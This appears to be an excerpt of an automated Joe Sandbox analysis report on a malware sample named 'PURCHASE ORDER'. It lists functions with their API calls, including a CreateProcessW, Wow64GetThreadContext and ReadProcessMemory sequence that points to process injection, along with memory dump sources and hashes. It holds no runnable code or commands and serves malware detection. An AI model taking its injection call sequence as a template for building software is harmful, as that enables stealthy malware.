                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
                                                                          • String ID:
                                                                          • API String ID: 2714421763-0
                                                                          • Opcode ID: 1be655156b84d1756d47887b3dc267bc1ef03bd4322eaa0c22e254cdcea9361a
                                                                          • Instruction ID: 54fb22c17cbd059cfb8714ef359fce415cc636064f476ff80f42ef981757bf49
                                                                          • Opcode Fuzzy Hash: 1be655156b84d1756d47887b3dc267bc1ef03bd4322eaa0c22e254cdcea9361a
                                                                          • Instruction Fuzzy Hash: 7401A731A08301BADF206F71AC09BDF3B64AF00759F10052FF544A6182DB7D9AC19B9C
                                                                          Function 0040F5E0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 1547 40f5e0-40f62f call 40f580 call 413990 call 4112ef call 40f6a0 call 40f6d0 1558 40f631-40f653 1547->1558 1558->1558 1559 40f655-40f66d call 414e06 1558->1559 1562 40f673-40f67b call 40f450 1559->1562 1563 42b2ee 1559->1563 1565 42b2f8-42b322 call 4151b0 call 44afdc 1562->1565 1568 40f681-40f695 call 414e94 1562->1568 1563->1565 1574 42b324-42b330 1565->1574 1574->1574 1575 42b332-42b338 call 415484 1574->1575 1577 42b33d-42b343 1575->1577
                                                                          APIs
                                                                            • Part of subcall function 0040F580: _wcslen.LIBCMT ref: 0040F58A
                                                                            • Part of subcall function 0040F580: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,?,?,?,?,?), ref: 0040F5A3
                                                                            • Part of subcall function 0040F580: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,-00000010,00000001,?,?,?,?), ref: 0040F5CC
                                                                          • _strcat.LIBCMT ref: 0040F603
                                                                            • Part of subcall function 0040F6A0: _memset.LIBCMT ref: 0040F6A8
                                                                            • Part of subcall function 0040F6D0: _strlen.LIBCMT ref: 0040F6D8
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ByteCharMultiWide$_memset_strcat_strlen_wcslen
                                                                          • String ID: HH
                                                                          • API String ID: 1194219731-2761332787
                                                                          • Opcode ID: 6830d432ce0edc537904fcc81a92ccb4243d6e1eaca554fb6fd30da9042373f9
                                                                          • Instruction ID: 1fd31f67f6889806bd2ce24d6488871f5ee50ddf162d20410a363c4a19aba518
                                                                          • Opcode Fuzzy Hash: 6830d432ce0edc537904fcc81a92ccb4243d6e1eaca554fb6fd30da9042373f9
                                                                          • Instruction Fuzzy Hash: 022158B260825067C724EF7A9C8266EF7D8AF85308F148C3FF554D2282F638D555879A
                                                                          Function 03F5AF68 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CreateProcessW.KERNELBASE(?,00000000), ref: 03F5B723
                                                                          • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 03F5B7B9
                                                                          • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 03F5B7DB
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2068790449.0000000003F59000.00000040.00000020.00020000.00000000.sdmp, Offset: 03F59000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_3f59000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                                          • String ID:
                                                                          • API String ID: 2438371351-0
                                                                          • Opcode ID: e3f14b9100784c2d13b4d96e4da997e342e741b63af52aad6d222721779d43e7
                                                                          • Instruction ID: 856c8426ab03eea132ce3edad0d3815d4ae4f58ffde6f047662f00181f832af3
                                                                          • Opcode Fuzzy Hash: e3f14b9100784c2d13b4d96e4da997e342e741b63af52aad6d222721779d43e7
                                                                          • Instruction Fuzzy Hash: 4362FC30A142589BEB24CFA4CC50BDEB776EF58300F1091A9E60DEB394E7759E81CB59
                                                                          Function 0041171A Relevance: 6.0, APIs: 4, Instructions: 34COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _malloc.LIBCMT ref: 00411734
                                                                            • Part of subcall function 004138BA: __FF_MSGBANNER.LIBCMT ref: 004138DD
                                                                            • Part of subcall function 004138BA: __NMSG_WRITE.LIBCMT ref: 004138E4
                                                                            • Part of subcall function 004138BA: RtlAllocateHeap.NTDLL(00000000,0041172A,?,?,?,?,00411739,?,00401C0B), ref: 00413931
                                                                          • std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                            • Part of subcall function 004116B0: std::exception::exception.LIBCMT ref: 004116BC
                                                                          • std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                          • __CxxThrowException@8.LIBCMT ref: 00411779
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
                                                                          • String ID:
                                                                          • API String ID: 1411284514-0
                                                                          • Opcode ID: ca7221cdd9cc9326792a0c346bb7c35cd30f9974032eaa45b6addcc39664c516
                                                                          • Instruction ID: c554e94cc15d94fff19a40754e7570613bf3612ee9c26c673f8185df9075a277
                                                                          • Opcode Fuzzy Hash: ca7221cdd9cc9326792a0c346bb7c35cd30f9974032eaa45b6addcc39664c516
                                                                          • Instruction Fuzzy Hash: 6FF0E23550060A66CF08B723EC06ADE3B649F11798B10403BFA20552F2DF6DADC9865C
                                                                          Function 004734B7 Relevance: 4.7, APIs: 3, Instructions: 234COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: c2b84d901eedfcb5732c73c427cf3e6a40f349a1394e6728fcd5bdf3f2a5d4d9
                                                                          • Instruction ID: a1f682be926937ece900e9fcc50ccc13891f43ead78ba7c6857800eee9f0599c
                                                                          • Opcode Fuzzy Hash: c2b84d901eedfcb5732c73c427cf3e6a40f349a1394e6728fcd5bdf3f2a5d4d9
                                                                          • Instruction Fuzzy Hash: EC81D2756043009FC310EF65C985B6AB7E4EF84315F008D2EF988AB392D779E909CB96
                                                                          Function 0040F110 Relevance: 4.5, APIs: 3, Instructions: 32registryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • RegOpenKeyExW.KERNELBASE(80000001,0040F0EE,00000000,00000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F132
                                                                          • RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,80000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F14F
                                                                          • RegCloseKey.KERNELBASE(00000000,?,?,00000000,00000000,80000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F159
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CloseOpenQueryValue
                                                                          • String ID:
                                                                          • API String ID: 3677997916-0
                                                                          • Opcode ID: 2fc94d7b08a1a7677ebb25c0c676948635cded20fa34e442ec21f1e1bf5971ab
                                                                          • Instruction ID: 6acd5c45b0bc896a902747136fbadff1bb775023c46fd22fba7b324c5144c726
                                                                          • Opcode Fuzzy Hash: 2fc94d7b08a1a7677ebb25c0c676948635cded20fa34e442ec21f1e1bf5971ab
                                                                          • Instruction Fuzzy Hash: 60F0BDB0204202ABD614DF54DD88E6BB7F9EF88704F10492DB585D7250D7B4A804CB26
                                                                          Function 0043526E Relevance: 4.5, APIs: 3, Instructions: 26COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _malloc.LIBCMT ref: 00435278
                                                                            • Part of subcall function 004138BA: __FF_MSGBANNER.LIBCMT ref: 004138DD
                                                                            • Part of subcall function 004138BA: __NMSG_WRITE.LIBCMT ref: 004138E4
                                                                            • Part of subcall function 004138BA: RtlAllocateHeap.NTDLL(00000000,0041172A,?,?,?,?,00411739,?,00401C0B), ref: 00413931
                                                                          • _malloc.LIBCMT ref: 00435288
                                                                          • _malloc.LIBCMT ref: 00435298
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: _malloc$AllocateHeap
                                                                          • String ID:
                                                                          • API String ID: 680241177-0
                                                                          • Opcode ID: d11b1792ef3d24f06ef5636d78d46cf58a843b0d423fa777cd48d8e801ebef30
                                                                          • Instruction ID: 30b75876ff52ae1c35022de4a6700901ba1db26c97f4d16f7fcf584af9a5a73f
                                                                          • Opcode Fuzzy Hash: d11b1792ef3d24f06ef5636d78d46cf58a843b0d423fa777cd48d8e801ebef30
                                                                          • Instruction Fuzzy Hash: E5F0A0B1500F0046E660AB3198457C7A2E09B14307F00186FB6855618ADA7C69C4CEAC
                                                                          Function 00401B70 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _wcslen.LIBCMT ref: 00401B71
                                                                            • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                            • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                            • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                            • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Exception@8Throw_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                          • String ID: @EXITCODE
                                                                          • API String ID: 580348202-3436989551
                                                                          • Opcode ID: 4145ab2d07bf19a354fff2d5031cf88e997e0915ee9c5273387e54f5573defd1
                                                                          • Instruction ID: 288ad252d7dad0c090ff8240dee62855692e698d70424b42c0a66861a7771545
                                                                          • Opcode Fuzzy Hash: 4145ab2d07bf19a354fff2d5031cf88e997e0915ee9c5273387e54f5573defd1
                                                                          • Instruction Fuzzy Hash: 73F06DF2A002025BD7649B35DC0276776E4AB44704F18C83EE14AC7791F6BDE8829B15
                                                                          Function 0040B380 Relevance: 3.3, APIs: 2, Instructions: 255COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ClearVariant
                                                                          • String ID:
                                                                          • API String ID: 1473721057-0
                                                                          • Opcode ID: 8496133a3e3a1872fc5ab7f8f11462cad1d7adca9b2736ff52cb45440ba86ce9
                                                                          • Instruction ID: 1f11e118333250ff1b1cce483c812f274274124743f71e781b8a547d9d3e43da
                                                                          • Opcode Fuzzy Hash: 8496133a3e3a1872fc5ab7f8f11462cad1d7adca9b2736ff52cb45440ba86ce9
                                                                          • Instruction Fuzzy Hash: 35917E706042009FC714DF55D890A6AB7E5EF89318F14896FF849AB392D738EE41CB9E
                                                                          Function 0040EFE0 Relevance: 3.1, APIs: 2, Instructions: 51fileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,?,0040DFD2,?,00000001,00403843,?), ref: 0040F00A
                                                                          • CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000004,00000080,00000000,?,0040DFD2,?,00000001,00403843,?), ref: 004299D9
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CreateFile
                                                                          • String ID:
                                                                          • API String ID: 823142352-0
                                                                          • Opcode ID: 7605a8ea73ac57d11bec7dd1d6207c313580f8ed20fa142c5c15d61e0266fbc2
                                                                          • Instruction ID: 855a981e3d87b0586b227f36a287a9e63fe5cd358b5bfab8de368ff291d46a89
                                                                          • Opcode Fuzzy Hash: 7605a8ea73ac57d11bec7dd1d6207c313580f8ed20fa142c5c15d61e0266fbc2
                                                                          • Instruction Fuzzy Hash: 67011D703803107AF2311F28AD5BF5632546B44B24F244B39FBD5BE2E2D2F86885970C
                                                                          Function 0041511A Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: __lock_file_memset
                                                                          • String ID:
                                                                          • API String ID: 26237723-0
                                                                          • Opcode ID: c74911371e76cb9dc4786cfdbe28690debad29cef5acae8c4501fea9e7903076
                                                                          • Instruction ID: c8a12bf2a45d0ac11074f8cac28b928f9e20b60047ac9024d749846706a082ab
                                                                          • Opcode Fuzzy Hash: c74911371e76cb9dc4786cfdbe28690debad29cef5acae8c4501fea9e7903076
                                                                          • Instruction Fuzzy Hash: 32012971C00609FBCF22AF65DC029DF3B31AF44714F04815BF82416261D7798AA2DF99
                                                                          Function 00414E94 Relevance: 3.0, APIs: 2, Instructions: 39COMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                            • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                          • __lock_file.LIBCMT ref: 00414EE4
                                                                            • Part of subcall function 00415965: __lock.LIBCMT ref: 0041598A
                                                                          • __fclose_nolock.LIBCMT ref: 00414EEE
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: __decode_pointer__fclose_nolock__getptd_noexit__lock__lock_file
                                                                          • String ID:
                                                                          • API String ID: 717694121-0
                                                                          • Opcode ID: 6051778e024176e7de16a1974b8d1b3b80c3b8a23747dfcb666cdf4e7799d8f6
                                                                          • Instruction ID: 225a509e04b880138f2478077c57af59103cae2c072c29012e7845c0956b1514
                                                                          • Opcode Fuzzy Hash: 6051778e024176e7de16a1974b8d1b3b80c3b8a23747dfcb666cdf4e7799d8f6
                                                                          • Instruction Fuzzy Hash: DEF06270D0470499C721BB6A9802ADE7AB0AFC1338F21864FE479A72D1C77C46C29F5D
                                                                          Function 004098B8 Relevance: 3.0, APIs: 2, Instructions: 32windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • TranslateMessage.USER32(?), ref: 004098F6
                                                                          • DispatchMessageW.USER32(?), ref: 00409901
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Message$DispatchTranslate
                                                                          • String ID:
                                                                          • API String ID: 1706434739-0
                                                                          • Opcode ID: 743ba5b075e4e96b6aa8f27e888cbbcb244a1ef3297f43ff84cf2107d4412f6a
                                                                          • Instruction ID: 6b3a2aeb923af73eb4cdb1bab797699f2cf27729a5018e8568c19fb4e3feaf67
                                                                          • Opcode Fuzzy Hash: 743ba5b075e4e96b6aa8f27e888cbbcb244a1ef3297f43ff84cf2107d4412f6a
                                                                          • Instruction Fuzzy Hash: D4F05471114301AEDA24DBE58D41B5BB3A8AFD8700F408C2EBA51E61C1FBF8E404C76A
                                                                          Function 004098B6 Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • TranslateMessage.USER32(?), ref: 004098F6
                                                                          • DispatchMessageW.USER32(?), ref: 00409901
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Message$DispatchTranslate
                                                                          • String ID:
                                                                          • API String ID: 1706434739-0
                                                                          • Opcode ID: fb629fc6ca96518639a0c0a81923e3da878f7f29ff55e6bd70df59113b88f2fd
                                                                          • Instruction ID: cc4909b6a78c34842ee59a7900970f574117f06624f4f9c7373c79b1fb9dfc76
                                                                          • Opcode Fuzzy Hash: fb629fc6ca96518639a0c0a81923e3da878f7f29ff55e6bd70df59113b88f2fd
                                                                          • Instruction Fuzzy Hash: DDF054B1114301AADA14DBE58D41B5BB3A4AF94740F408C2EBA11E52C1EBFCD504C71A
                                                                          Function 03F5AF65 Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CreateProcessW.KERNELBASE(?,00000000), ref: 03F5B723
                                                                          • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 03F5B7B9
                                                                          • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 03F5B7DB
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2068790449.0000000003F59000.00000040.00000020.00020000.00000000.sdmp, Offset: 03F59000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_3f59000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                                          • String ID:
                                                                          • API String ID: 2438371351-0
                                                                          • Opcode ID: 1e5ff81ed8f871418fabb2f1fb9f15c50bab29dc79b391b745a61db8bf218849
                                                                          • Instruction ID: 660a176c3eaef897126057b380b3cc123300381aa63cd2b1e09b4632b06e93ac
                                                                          • Opcode Fuzzy Hash: 1e5ff81ed8f871418fabb2f1fb9f15c50bab29dc79b391b745a61db8bf218849
                                                                          • Instruction Fuzzy Hash: 3C12BF24E24658C6EB24DF64D8507DEB232EF68300F1090E9910DEB7A5E77A4F85CF5A
                                                                          Function 00410D40 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ProtectVirtual
                                                                          • String ID:
                                                                          • API String ID: 544645111-0
                                                                          • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                          • Instruction ID: fb1d736feddc8336b94c661b4f3a99b04f66f7614ca83ae43ac4a02a862e88ab
                                                                          • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                          • Instruction Fuzzy Hash: 1331D574A00105DFC718DF99E490AAAFBA6FB49304B2486A6E409CB751D774EDC1CBC5
                                                                          Function 004092C0 Relevance: 1.6, APIs: 1, Instructions: 71COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
